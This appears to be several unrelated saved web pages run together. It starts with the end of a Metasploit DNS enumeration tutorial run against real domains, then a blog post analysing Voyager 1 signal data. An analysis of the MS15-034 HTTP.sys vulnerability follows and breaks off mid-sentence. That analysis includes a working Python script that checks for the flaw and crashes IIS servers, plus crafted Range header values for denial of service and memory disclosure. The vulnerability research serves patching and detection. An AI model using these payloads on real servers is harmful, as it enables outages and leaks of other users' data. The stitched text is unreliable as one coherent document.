    [*] Host Name: mallenovid.pgp.com. IP Address: 216.112.105.247  
    [*] Host Name: 216-112-105-248.pgp.com. IP Address: 216.112.105.248  
    [*] Host Name: oakheaven.pgp.com. IP Address: 216.112.105.250  
    [*] Host Name: 216-112-105-253.pgp.com. IP Address: 216.112.105.253  
    [*] Host Name: 216-112-105-252.pgp.com. IP Address: 216.112.105.252  
    [*] Host Name: oak.pgp.com. IP Address: 216.112.105.249  
    [*] Host Name: pron.pgp.com. IP Address: 216.112.105.251  
    [*] Host Name: bubs.pgp.com. IP Address: 216.112.105.254  
    [*] Host Name: 216-112-105-255.pgp.com. IP Address: 216.112.105.255  
    [*] Auxiliary module execution completed  
    msf auxiliary(dns_enum) >   
    
    
[/code]

  

The output was abbreviated, new domain names that must be tested appeared and
many of the host names give idea of their purpose and naming scheme. This is
one of the mail reasons that even when a zone transfer is successful other
enumeration methods must be executed so as to be able to detect this other
domains that might have escaped the initial enumeration.

Another method of enumerations the brute force enumeration where a dictionary
file is use to try to identify host or subdomains for a given domain. A
wordlist is used for this, the success of this method is dependant on the
wordlist used, some main points for a good wordlist are:

  * Words should follow the naming scheme of the target domain of one is found.
  *   * All words must have valid DNS name charectes
  *   

The use of a password list is not recommended. A simple one is included with
Metasploit and configured by default. Lets execute one against google.com:

[code]

    msf auxiliary(dns_enum) > set ENUM_BRT true  
    ENUM_BRT => true  
    msf auxiliary(dns_enum) > set ENUM_STD false  
    ENUM_STD => false  
    msf auxiliary(dns_enum) > run  
      
    [*] Setting DNS Server to google.com NS: 216.239.32.10  
    [*] Host Name: academico.google.com IP Address: 74.125.47.105  
    [*] Host Name: academico.google.com IP Address: 74.125.47.103  
    [*] Host Name: academico.google.com IP Address: 74.125.47.106  
    [*] Host Name: academico.google.com IP Address: 74.125.47.147  
    [*] Host Name: academico.google.com IP Address: 74.125.47.99  
    [*] Host Name: academico.google.com IP Address: 74.125.47.104  
    [*] Host Name: ads.google.com IP Address: 74.125.159.112  
    [*] Host Name: alerts.google.com IP Address: 74.125.159.100  
    [*] Host Name: alerts.google.com IP Address: 74.125.159.101  
    [*] Host Name: alerts.google.com IP Address: 74.125.159.113  
    [*] Host Name: alerts.google.com IP Address: 74.125.159.102  
    [*] Host Name: alerts.google.com IP Address: 74.125.159.139  
    [*] Host Name: alerts.google.com IP Address: 74.125.159.138  
    [*] Host Name: ap.google.com IP Address: 74.125.47.105  
    [*] Host Name: ap.google.com IP Address: 74.125.47.103  
    [*] Host Name: ap.google.com IP Address: 74.125.47.104  
    [*] Host Name: ap.google.com IP Address: 74.125.47.106  
    [*] Host Name: ap.google.com IP Address: 74.125.47.147  
    [*] Host Name: ap.google.com IP Address: 74.125.47.99  
    [*] Host Name: apps.google.com IP Address: 74.125.159.101  
    [*] Host Name: apps.google.com IP Address: 74.125.159.139  
    [*] Host Name: apps.google.com IP Address: 74.125.159.113  
    [*] Host Name: apps.google.com IP Address: 74.125.159.138  
    [*] Host Name: apps.google.com IP Address: 74.125.159.100  
    [*] Host Name: apps.google.com IP Address: 74.125.159.102  
    [*] Host Name: asia.google.com IP Address: 66.249.89.103  
    [*] Host Name: asia.google.com IP Address: 66.249.89.99  
    [*] Host Name: asia.google.com IP Address: 66.249.89.147  
    [*] Host Name: asia.google.com IP Address: 66.249.89.104  
    [*] Host Name: blog.google.com IP Address: 74.125.47.191  
    [*] Host Name: calendar.google.com IP Address: 74.125.159.102  
    [*] Host Name: calendar.google.com IP Address: 74.125.159.113  
    [*] Host Name: calendar.google.com IP Address: 74.125.159.101  
    [*] Host Name: calendar.google.com IP Address: 74.125.159.139  
    [*] Host Name: calendar.google.com IP Address: 74.125.159.138  
    [*] Host Name: calendar.google.com IP Address: 74.125.159.100  
    [*] Host Name: catalog.google.com IP Address: 74.125.159.102  
    [*] Host Name: catalog.google.com IP Address: 74.125.159.113  
    ..................................  
    [*] Auxiliary module execution completed  
    msf auxiliary(dns_enum) >   
    
    
[/code]

  

One thing to remember is that depending on the size of the dictionary and the
number of threads the time for performing this type of enumeration will vary.

Another type of DNS enumeration is TLD or Top Level Domain expansion where we
look for other DNS registrations for our targets domain. There are 2 types of
TLD the Country Code TLD or ccTLD to reflect a country and the gTLD the
General TLD like for organization \(org\), information \(info\) and like wise,
many company have servers deployed in different countries to provide faster
service to users there and many times the updates and maintenance of this
services are staged and done in a gradual process allowing for the possibility
of finding vulnerable systems. One must take great care since the scope might
limit one country and the understanding of the laws of that country must be
understood before embarking on attacking this remote systems. The manner in
the module works is that it will strip the TLD of the domain name and replace
it with the most common one, many times companies and other DNS registrars
have another level that they add that varies from registrar by registrar so a
bit of Google enumeration might be needed to further enumerate any of them
that might have been missed by the module. Here is a sample of doing a TLD
Expansion against HP:

[code]

    msf auxiliary(dns_enum) > set DOMAIN hp.co  
    DOMAIN => hp.co  
    msf auxiliary(dns_enum) > run  
      
    [*] Performing Top Level Domain Expansion  
    [*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.140 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.21 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.22 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.138 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.139 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.200.2.21 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.21 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.22 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.23 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.24 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.21 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.22 Record: A   
    [*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.139 Record: A   
    [*] Domain: hp.ag Name: hp.ag. IP Address: 217.26.48.101 Record: A   
    [*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.21 Record: A   
    [*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.22 Record: A   
    [*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.138 Record: A   
    [*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.139 Record: A   
    [*] Domain: hp.az Name: hp.az. IP Address: 15.200.2.21 Record: A   
    [*] Domain: hp.az Name: hp.az. IP Address: 15.200.30.21 Record: A   
    .............................  
    [*] Auxiliary module execution completed  
    
    
[/code]

  

This has been a short introduction to DNS enumeration and what type of
information can be gathered from this service.

  *[December 11, 2009 6:12 PM ]: 2009-12-11T18:12:16-05:00

# baudline signal analyzer: setiQuest Voyager 1 redux

**Created:**| _12/3/2012 8:44:11 PM_  
---|---  
**Updated:**| _12/3/2012 8:44:11 PM_  
**Author:**| __  
**Tags:**| _signal work DSP_  
  

### setiQuest Voyager 1 redux

<img src='img/Temp2_10104.jpg' />

The NASA Voyager 1 probe has been spotted again at the Allen Telescope Array
\(ATA\). This is fairly amazing since JPL is the only other group that can see
Voyager and they use a much bigger telescope that's part of the Deep Space
Network \(DSN\). The SETI Institute 's Jane Jordon and Jon Richards were kind
enough to send me this new Voyager data so that I could look at it with the
baudline signal analyzer . Thank you Jane and Jon.  
  
This Voyager signal was recorded at 8419.62 MHz and was packetized into an
.archive-compamp file by SonATA . The following command line streams the 4-bit
quadrature Voyager samples into baudline:  
  
cat 2012-11-07\_21-14-05\_UTC.act61.dx1011.id-4.L.archive-compamp | extract\_compamp\_data 9 | baudline -session compamp -stdin -format s4 -channels 2 -quadrature -samplerate 711.1111 -record  
  
This Unix command line of multiple pipes extracts the 9th channel from the
.archive-compamp file and feeds that into baudline's standard input with the
appropriate configuration settings. Note the .L. in the compamp file name. I
don't know why SonATA does this but the X & Y linear polarization .compamp
files are labeled as being L & R circular polarization.  
  
X polarization  
Below is the baudline spectrogram of the X linear polarization. Note the weak
diagonal signal on the left side that starts on the top at around -160 Hz.
This drifting line is caused by the Earth's rotation and the Doppler Effect. I
call it Doppler Drift. Click on the image below for a larger and better view
of this weak signal.  
  

<img src='img/Temp2_10107.jpg' width='320' height='239' />

  
  
Y polarization  
Below is the baudline spectrogram of the Y linear polarization file. Note that
the signal is bit stronger than it was in the X polarization above. Compare
this with the signal strength from the July 2010 Voyager data analysis .  
  

<img src='img/Temp2_10105.jpg' width='320' height='239' />

  
  
X & Y polarizations  
The two spectrograms above were combined to create this dual channel
spectrogram \(see the Channel Mapping window\). The X polarization is green
and the Y polarization is purple. Notice how this dual channel technique makes
the weak drifting Voyager signal easier to see. It also makes it easy to
visually compare both polarizations.  
  

<img src='img/Temp2_10101.jpg' width='320' height='239' />

  
If you click to look closely at the larger version of this image you'll see
several very weak crisscrossing lines and curved whistler -like shapes that
are much weaker than the main drifting signal. These very weak features could
be real or they could be just random shapes in the noise floor. Need more data
to know for sure. If they are real then they're likely artifacts caused by
distortion somewhere in the signal path.  
  
  
Auto Drift  
Baudline's Auto Drift feature was enabled and each of the X & Y polarizations
were pasted into the Average window. The Y polarization \(purple\) is about
half a dB stronger which confirms our spectrogram strength observation
mentioned above. The drifting signals are about 3 - 4 sigma above the noise
floor. The auto drift rate measurement window reports that the signal is
drifting by -0.5770 Hz/second.  
  

<img src='img/Temp2_10102.jpg' width='320' height='126' />

  
Next Auto Drift is enabled with baudline's spectrogram display. Think of this
as a 4-dimensional version of the above Average display where the additional
dimensions are time and vector space. Each pixel has 20865 possible vector
paths and that works out to about 1 billion possible vector paths seen in the
spectrogram image below. Good thing that Auto Drift is a quick O\(n log n\)
algorithm so that image rendering is rather fast. For reference the Drift
Integrator's settings were: beam width = 326 slices \(16 seconds\), optimum
overlap = 400%, Auto Drift quality = 8.  
  

<img src='img/Temp2_10108.jpg' width='320' height='224' />

  
Notice how the weak drifting signal stands out and is easier to see. Also note
how the drifting signal fades in strength between the X \(green\) & Y
\(purple\) polarizations. This image reminds me a lot of ice crystals on a
window pane. It isn't that far out there since the Auto Drift algorithm that
generates the spectrogram vectors is somewhat similar to how ice crystals
grow.  
  
  
Histogram  
The Histogram window shows 5 vertical lines \(bins\) that make a Gaussian-like
shape \(see AWGN\). This sparse histogram is not surprising since the input
signal has 4-bit quantization. Note that only slightly more than two bits are
being utilized.  
  

<img src='img/Temp2_10103.jpg' width='320' height='161' />

  
  
Waveform  
Baudline's Waveform window shows a time series view of what the 4-bit
quadrature signal looks like. This sample distribution matches what is seen in
the Histogram window above. Do you see the signal? It's the magic of DSP that
allows such a weak drifting signal to be encoded in so few bits.  

  

  

<img src='img/Temp2_10106.jpg' width='320' height='77' />

  
  
Conclusion  
No modulation characteristics are visible in either the baudline spectrogram
or Average window views. The Voyager signal looks like a non-information
baring pilot tone. This could be due to the weak nature of the signal or
because Voyager was not transmitting at the time the signal was recorded.  
  
As mentioned above, this **setiQuest Voyager 1 redux** capture is much weaker
than the July 2010 Voyager 1 signal I previously blogged about . A good
question is why is it weaker? Here is a list of possible explanations:  

  * 28 months have passed and Voyager is now 8.3 AU farther away.
  * Voyager has entered the Heliosheath and the compressed turbulent solar wind is increasing signal attenuation. 
  * Voyager's Plutonium-238 power plant has a half-life of 88 years and is producing less power for signal transmission.
  * Voyager's dish antenna could be slightly off axis and is not pointed directly at Earth.
  * The ATA dishes could be slightly off axis and are not pointed directly at Voyager.
  * Reduced collection area due to some ATA dishes being off-line.
  * Some cryo feed units require maintenance and are resulting in a higher ATA system temperature. 
  * An error in the calculation of the ATA beamformer coefficients.
  * Increased local RFI mixed with Walshing artifacts are effectively reducing ATA system gain. 
  * Rainy cloudy weather in Hat Creek, California.
  * The compamp 4-bit sample quantization is pushing up the noise floor. The first Voyager data collection used 16-bit samples.
  * Aliens have found the Voyager space probe and are fiddling with its innards.

Some of these explanations are unlikely or not significant enough to account
for the reduction in signal strength. What do you think? Please discuss in the
comments section.  
  
  
Links  

  * http://setiquest.org/forum/topic/baudline-analysis-voyager-1-redux 
  * http://baudline.blogspot.com/2011/03/setiquest-voyager.html 
  * http://voyager.jpl.nasa.gov/ 
  * http://www.nasa.gov/vision/universe/solarsystem/voyager\_agu.html 
  * http://twitter.com/NASAVoyager 
  * http://twitter.com/NASAVoyager2 

Data licensed through SETI .

# cobitwuerfel.jpg \(JPEG Image, 318x295 pixels\)

**Created:**| _12/19/2011 9:38:20 AM_  
---|---  
**Updated:**| _12/19/2011 9:38:20 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_10142.jpg'
alt='http://www.cryptoshop.com/de/images/cobitwuerfel.jpg' />

# An Analysis Of MS15-034 - Security SiftSecurity Sift

**Created:**| _8/19/2015 11:40:35 AM_  
---|---  
**Updated:**| _8/19/2015 11:40:35 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

### Introduction

By now you’ve undoubtedly heard about MS15-034. The following is a collection
of my cursory research and thoughts on this vulnerability.

In addition, here is a small list of related resources, some of which I also
reference in the sections that follow:

  * Microsoft Security Bulletin MS15-034 \(Microsoft\)
  * The Delicate Art of Remote Checks – A Glance Into MS15-034 \(Beyond Trust\)
  * MS15-034: HTTP.sys \(IIS\) DoS And Possible Remote Code Execution. PATCH NOW \(ISC\)
  * Critical Microsoft IIS vulnerability Leads to RCE \(MS15-034\) \(Sucuri\)
  * MS15-034 Detection: Some Observations \(Didier Stevens\)
  * Integer Overflow \(Wikipedia\)
  * Microsoft Window – HTTP.sys PoC \(MS15-034\) \(Exploit-DB\)
  * MS Windows \(HTTP.sys\) HTTP Request Parsing DoS \(MS15-034\) \(Exploit-DB\)

**UPDATE \(4/20/2015\)** : I was able to consistently achieve information
disclosure via some additional testing with submitting multiple range values
\(see added section “Information Disclosure”\). I’ve also added some
additional information on another updated HTTP.sys function. \(Updated content
is annotated accordingly\)

### A brief overview of the vulnerability

According to the published Microsoft Security Bulletin, MS15-034 is a remote
code execution vulnerability caused by HTTP.sys improperly parsing specially
crafted HTTP requests. Specifically this exploit can be triggered using the
Range header of an HTTP request, causing an Integer overflow. While the
bulletin indicates Remote Code Execution is possible \(and as such rates this
vulnerability as Critical\), so far I have only been able to generate a Denial
of Service condition and have not yet seen any RCE code in the wild \(though
I’m sure someone is working hard at it\). Before I get into the details of the
vulnerability, let’s take a quick look at HTTP.sys and its purpose.

### What is HTTP.sys?

HTTP.sys \(aka the HTTP Protocol Stack\) is a Windows kernel-mode device
driver which, as stated in Microsoft’s Introduction to IIS Architectures,
“listens for HTTP requests from the network, passes the requests onto IIS for
processing, and then returns processed responses to client browsers”. It is
responsible for providing Kernel-mode caching, Kernel-mode request queuing,
and request pre-processing and security filtering.

Kernel-mode caching which improves performance by serving all cached content
requests directly from kernel-mode, appears to be the culprit in this
vulnerability. Although Microsoft does cite disabling IIS Kernel caching as a
possible workaround, it may cause too much performance degradation on
production web servers to be very practical.

While it’s clear that MS web servers running modern IIS versions are the
primary affected group, keep in mind the the HTTP Protocol Stack implemented
by Http.sys is used by more than just IIS so other applications may be
affected as well.

### What is the Range Header?

I mentioned earlier that this vulnerability can be triggered via the Range
header. The Range header is used in an HTTP request to return a portion \(or
range of bytes\) of a given resource. Take for example, the following requests
that illustrate how to obtain a portion of Google’s humans.txt file using the
Range header.

<img src='img/Temp2_541.png' width='555' height='453' alt='ms15_034_15' />

The RFC does not require clients or servers to honor/support Range headers,
though most do. It also allows for various formats of byte range
specifications including a single range or set of ranges such as:

  * bytes=0-499,
  * bytes=500-999,
  * bytes=-500,
  * bytes=9500-,
  * bytes=0-0,-1,
  * bytes=500-600,601-999

I mention this because as Didier Stevens pointed out in his post, if you’re
building IDS/IPS rulesets for detection/prevention of this exploit you need to
take into account the various allowable methods of formatting this header.

### A Deeper Dive

When I was researching this vulnerability, the first resource I came across
was this nice write-up from the team at BeyondTrust. I encourage you to read
it, but I’ll also replicate some of their findings here.

They start by analyzing this vulnerability in much the same way that I \(and
probably many others\) did … by diffing the old and new HTTP.sys files. Here’s
a shot of mine:

<img src='img/Temp2_525.png' width='640' height='288' alt='ms15_034_1' />

This is a view of the UlpParseRange function \(unpatched HTTP.sys shown on the
left, patched shown on the right\), which after the update, has one key
difference…an additional call to RtlULongLongAdd\(\). Although this is a
slightly modified, 5 parameter version \(vs. the 3 parameter version specified
on MSDN\), the intent of the added function is the same…to provide a validity
check to prevent against Integer overflow conditions. The absence of this
check in the unpatched version of HTTP.sys is what allows for the overflow
condition at the heart of MS15-034.

So you can get a little better idea how this comes into play, take a look at
the following:

<img src='img/Temp2_523.png' width='463' height='259' alt='ms15_034_3' />

You can see UlpParseRange is called by HlContentRangeHeaderHandler, when it
needs to process the values passed via the Range header.

Now, taking a look at the UlpParseRange, you can see the location where the
missing Integer Overflow condition check should be in the vulnerable version
of HTTP.sys \(top\) and how it was addressed in the updated version via the
addition of RtlULongLongAdd:

<img src='img/Temp2_527.png' width='512' height='366' alt='ms15_034_2' />

Unpatched HTTP.sys

<img src='img/Temp2_537.png' width='604' height='357' alt='ms15_034_4' />

Patched HTTP.sys w/ RtlULongLongAdd

If we step back even further, before getting to this point, UlpParseRange
makes a call to UlpParseRangeNumber, which as its name implies, parses the
numbers passed via the Range Header. This latter function actually makes its
own calls to RtlULongLongAdd, though they don’t serve to provide any
protection against the core Integer Overflow problem.

To give you an idea of what this looks like, I set breakpoints on each of the
three functions and passed a Range header value of bytes=14-156. What will
happen is the breakpoint for UlpParseRange will hit once \(for the single
range passed via the header\). Following that breakpoint, UlpParseRangeNumber
will hit twice \(once for each number in the range — 14 and 156\). After each
UlpParseRangeNumber breakpoint, RtlULongLongAdd will trigger for each digit in
the respective range number. That means it will hit twice for the number 14
and three times for the number 156.

Here is what that would look like:

0: kd> g

Breakpoint 0 hit

HTTP\!UlpParseRange:

0: kd> g

Breakpoint 1 hit

HTTP\!UlpParseRangeNumber:

0: kd> g

Breakpoint 2 hit

HTTP\!RtlULongLongAdd:

0: kd> r

eax=00000001 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000031 edi=00000017

eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246

0: kd> g

Breakpoint 2 hit

HTTP\!RtlULongLongAdd:

0: kd> r

eax=00000004 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000038 edi=00000016

eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246

0: kd> g

Breakpoint 1 hit

HTTP\!UlpParseRangeNumber:

0: kd> g

Breakpoint 2 hit

HTTP\!RtlULongLongAdd:

0: kd> r

eax=00000001 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000031 edi=00000014

eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246

0: kd> g

Breakpoint 2 hit

HTTP\!RtlULongLongAdd:

0: kd> r

eax=00000005 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000038 edi=00000013

eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246

0: kd> g

Breakpoint 2 hit

HTTP\!RtlULongLongAdd:

0: kd> r

eax=00000006 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000034 edi=00000012

eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246

Once the numbers passed via the Range header are parsed by
UlpParseRangeNumber, it returns to UlpParseRange, and the vulnerable portion
of the function follows.

<img src='img/Temp2_535.png' width='591' height='599' alt='ms15_034_5' />

Let’s take a closer look at the above location 6EEF9 \(highlighted\) by
passing a crafted Range header value. To demonstrate the simple mechanics of
the vulnerable code, I’ll use an example range of 21845 –
18446744073709551615. The latter number is the largest possible value of a
64-bit unsigned Integer.

<img src='img/Temp2_531.png' width='640' height='35' alt='ms15_034_6' />

I chose the former simply for ease of demonstration as it equates to 5555h.

After parsing the provided Range header value, the code at loc\_6EEF9
subtracts the lower range value \(stored in EDI\) from the upper range value
\(stored in EAX\) and then adds 1.

<img src='img/Temp2_526.png' width='571' height='239' alt='ms15_034_8' />

<img src='img/Temp2_529.png' width='564' height='531' alt='ms15_034_7' />

By not properly checking the bounds of these values following the
addition/subtraction, the codes leaves an opportunity for an overflow
condition \(if you’re unfamiliar with the concept of Integer Overflows you
might refer to the following Wikipedia article:
http://en.wikipedia.org/wiki/Integer\_overflow\).

**UPDATE \(4/20/2015\)**

When I posted this yesterday I neglected to mention some of the other changes
made to HTTP.sys via the Microsoft update, namely UlAdjustRangesToContentSize,
which as you can see below also has an additional RtlULongLongAdd validity
check \(right\).

<img src='img/Temp2_522.png' width='640' height='524' alt='ms15_034_16' />

I noticed this come into play when I was testing the various methods of
submitting the Range header \(see the previous section “What is the Range
Header”\) and crashed the server with an input as follows:

<img src='img/Temp2_539.png' width='422' height='223' alt='ms15_034_17' />

Note the multiple byte range values passed, the first starting with 0, the
second with 1, the third with 2, the fourth with 3, the fifth with 4 and the
remaining all starting with 5.

Now take a look at the crash which occurs during a call to memcpy from
AdjustRangesToContentSize:

<img src='img/Temp2_547.png' width='353' height='154' alt='ms15_034_21' />

<img src='img/Temp2_543.png' width='464' height='232' alt='ms15_034_19' />

<img src='img/Temp2_532.png' width='484' height='621' alt='ms15_034_18' />

Note the values pointed to by esi and edi are the lower and upper ranges
provided in each of our header byte range values. This function might be a bit
more interesting to explore than UlpParseRange for the purposes of exploiting
information disclosure via arbitrary memory reads \(see added section
“Information Disclosure”\)

### So What?

Why is this bad? Well, according to Microsoft, this particular vulnerability
can lead to remote code execution though Integer Overflows can be difficult to
translate to robust/reliable RCE, I have certainly not yet been able to do so
in my test environment, nor have I seen any such exploits circulating in the
wild \(yet\). Even so, I \(like many others\) have been able to easily and
reliably generate a denial of service condition by exploiting this
vulnerability. The fact that it’s so easy to cause a DoS means you should
remediate it as soon as possible.

**UPDATE \(4/20/2015\)**

With additional testing I believe I’ve achieved fairly reliable Information
Disclosure, at least via a default IIS installation on a Windows 7 SP 1
machine \(see below\).

### Identifying Vulnerable Assets

You can perform a basic check on your server\(s\) to determine their
vulnerability to this exploit. Simply make a request for a static resource
\(such as an image\) and pass a range header with the values
bytes=0-18446744073709551615. An unpatched, vulnerable server should respond
with “Requested Range Not Satisfiable”

<img src='img/Temp2_536.png' width='303' height='62' alt='ms15_034_9' />

You can use an intercepting proxy \(such as Burp\), curl, or a custom script
to generate such a request \(I’ve provided one below\). Note: modifying the
lower number of the range to anything other than 0 risks causing a DoS
condition on the target so use with caution\! Which brings me to my next
topic…

### Causing a DoS

You can cause a Denial of Service condition by changing the lower value of the
range. For example, the common example I’ve seen floating around the interwebs
is Range: bytes=18-18446744073709551615. The number 18 is somewhat arbitrary
and many other values will work, though it will also depend on the size of the
resource your requesting.

I wrote a simple python script to both check for the presence of the
vulnerability as well as exploit the DoS condition. For demonstration purposes
it simply requests the /welcome.png file common to the Standard IIS
installation on Windows 7 SP 1 \(though this configurable\).

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879 | \#\!/usr/bin/python import urllib2import sysimport argparseimport socket ''' get cl args '''def getArgs\(\): parser = argparse.ArgumentParser\( prog="ms15\_034.py", formatter\_class=lambda prog: argparse.HelpFormatter\(prog,max\_help\_position=50\), epilog= "This script will either test for the presence of or exploit a DOS condition for MS15\_034"\) parser.add\_argument\("target", help="Target Host in the form of http://\[host\]:\[port\] -- specify port only if not 80" \) parser.add\_argument\("-p", "--path", default="/welcome.png", help="Path to resource to request on target server \[default = /welcome.png\]"\) parser.add\_argument\("-e", "--exploit", action="store\_true", default=False, help="Exploit with DoS condition \[default = False\]"\) parser.add\_argument\("-r", "--range", default="0-18446744073709551615", help="Value for range header \[default=0-18446744073709551615\]; changing could cause DoS\!\!\!"\) args = parser.parse\_args\(\) return args ''' make the evil request and examine response to determine vulnerability '''def evilRequest\(req, exploit\): res = "" if exploit: print "\[\*\] Attempting exploit..." try: res = urllib2.urlopen\(req\).read\(\) \# make request if exploit: print "\[\*\] Could not parse response, check target to see if DoS was successful" else: print "\[\*\] Request successful, likely not vulnerable" \# if no error is returned, the target is probably not vulnerable except: if "Requested Range Not Satisfiable" in str\(sys.exc\_info\(\)\[1\]\): \# response if target is unpatched  print "\[\*\] Target appears vulnerable\!\!\!" elif "The Request has an invalid header name" in str\(sys.exc\_info\(\)\[1\]\): \# typical response if target is patched  print "\[\*\] Target appears patched" elif \(\("Connection reset by peer" in str\(sys.exc\_info\(\)\[1\]\)\) or \("forcibly closed" in str\(sys.exc\_info\(\)\[1\]\)\)\) and \(exploit\): \# often DoS exploit not successful on first attempt print "\[\*\] Connection Reset, re-attempting exploit..." res = evilRequest\(req, exploit\) elif \("timed out" in str\(sys.exc\_info\(\)\[1\]\)\) and \(exploit\): \# prevent loop after DoS function \(used w/ socket timeout variable in main\) print "\[\*\] Request timed out, DoS likely successful" elif \("timed out" in str\(sys.exc\_info\(\)\[1\]\)\) and \(not exploit\): \# prevent loop after DoS function \(used w/ socket timeout variable in main\) print "\[\*\] Request timed out, but exploit switch not used. Did you crash the target with a modified range header?" else: print "\[\*\] Cannot determine if target is vulnerable" \# any other response means vuln unknown print "\t\[+\] Response: %s" % str\(sys.exc\_info\(\)\[1\]\) \# print server response return res ''' main '''def main\(\): print print '=============================================================================' print '| ms15\_034.py - Test and DoS exploit |' print '| Author: Mike Czumak \(T\_v3rn1x\) - @SecuritySift |' print '=============================================================================\n' args = getArgs\(\) target = args.target \# target server path = args.path \# path to resource to retrieve on target server range = args.range \# value of Range header exploit = args.exploit \# boolean \(exploit DoS or not\) if exploit: range = "18-18446744073709551615" \# evil range if requesting welcome.png \# may need to change if requesting different resource \(use range arg instead\) print "\[\*\] Making request to " + target print "\t\[+\] Target path: " + path print "\t\[+\] Range Header: " + range print "\t\[+\] Exploit \(DoS\)?: " + str\(exploit\) print socket.setdefaulttimeout\(10\) \# timeout the connection in event of DoS/reboot req = urllib2.Request\( "%s%s"%\(target,path\), headers=\{ "Range" : "bytes=%s" % range \}\) \# format request res = evilRequest\(req, exploit\) \# make request print if \_\_name\_\_ == '\_\_main\_\_': main\(\)  
---|---  
I wrote this days ago to test/demo the exploit so it’s completely function
over form. To use it in order to check if an asset is vulnerable simply
specify the target url as follows:

<img src='img/Temp2_528.png' width='532' height='163' alt='ms15_034_10' />

I’ve also included a simple flag \(-e\) to automatically trigger the DoS
condition — using a default range of 18-18446744073709551615 and assuming the
presence of /welcome.png \(both of which are configurable via CL options\).

<img src='img/Temp2_534.png' width='539' height='184' alt='ms15_034_11' />

As stated earlier, modifying the range header by itself can trigger a DoS so
use with caution\!\!\!

<img src='img/Temp2_546.png' width='584' height='68' alt='ms15_034_12' />

### Information Disclosure

**UPDATE \(4/20/2015\)**

With additional testing I was able to consistently replicate Information
Disclosure without DoS’ing the target machine \(nearly all of the time\) by
submitting multiple byte range values and adjusting them slightly. Recall
earlier that I stated the RFC allowed for multiple formats of byte ranges to
be submitted. As I was testing these various formats, I noticed that by
submitting multiple byte ranges I was able force the target system to
consistently return its memory contents. Let me give some examples.

First, the most consistently successful method was requesting the default
welcome.png file \(note the submitted byte ranges\):

<img src='img/Temp2_544.png' width='474' height='290' alt='ms15_034_25_1'
/><img src='img/Temp2_540.png' width='477' height='266' alt='ms15_034_24_1'
/><img src='img/Temp2_542.png' width='476' height='216' alt='ms15_034_23_1'
/><img src='img/Temp2_538.png' width='460' height='261' alt='ms15_034_22_1' />

In all cases, the requested image file is returned, but it is appended with
additional data in memory. I was able to repeatedly make changes to the byte
range values and resubmit without causing any service crash or disruption
except for a few instances in which the server stopped responding to remote
requests but remained up \(I couldn’t pinpoint a cause and there were only
about 3 occurrences among hundreds of requests\).

I was also able to obtain similar results \(though less often\) by requesting
html content:

<img src='img/Temp2_524.png' width='640' height='139' alt='ms15_034_27_1' />

In the above case, the content index.htm file was returned \(“This is a
test”\) along with the content of other resources still loaded in memory that
were accessed by different test machines to simulate multi-user traffic. One
more example is below:

<img src='img/Temp2_530.png' width='504' height='358' alt='ms15_034_28_1' />

Again, there was much more content returned than the request resource \(the
root index\) including a PHP page accessed by a different user and an image
file loaded into memory. Requesting non-image files was hit-or-miss with the
server often responding with a connection reset \(this also happened from time
to time with image files, though a re-request would always do the trick\).

### What About Internal Servers?

Whenever there’s a web-based vulnerability, the first thing that most people
think to patch are their public-facing/DMZ systems…and rightly so. Naturally,
it’s recommended to patch all servers but priority absolutely lies with those
that are public facing. They are going to have the most exposure and therefore
the greatest risk for targeting. But what about your internal servers?

You may recall a post I did in October of last year called “Phishing for
Shellshock” in which I demonstrated that it was trivial to target an
organization’s internal servers using a phishing attack to exploit what many
were considering an “external” vulnerability. While it’s technically possible
to exploit MS15-034 in a similar manner, there are some key differences that
made Shellshock more susceptible.

First, several of the header\(s\) available for use to exploit Shellshock
\(Accept, Accept-Language, etc\) were not protected by CORS, meaning they
could be used in a CSRF-style phishing attack in which a targeted user
unknowingly executes malicious JavaScript in their browser that then delivers
the exploit to the servers on their internal network. In the case of MS15-034,
the Range header is in fact protected by CORS so the likelihood of a
successful exploit is lower.

Second, Shellshock was a bit more attractive to exploit in that manner because
it resulted in remote code execution.The beauty of the Shellshock phishing
exploit was the targeted user didn’t need to do any parsing of the response
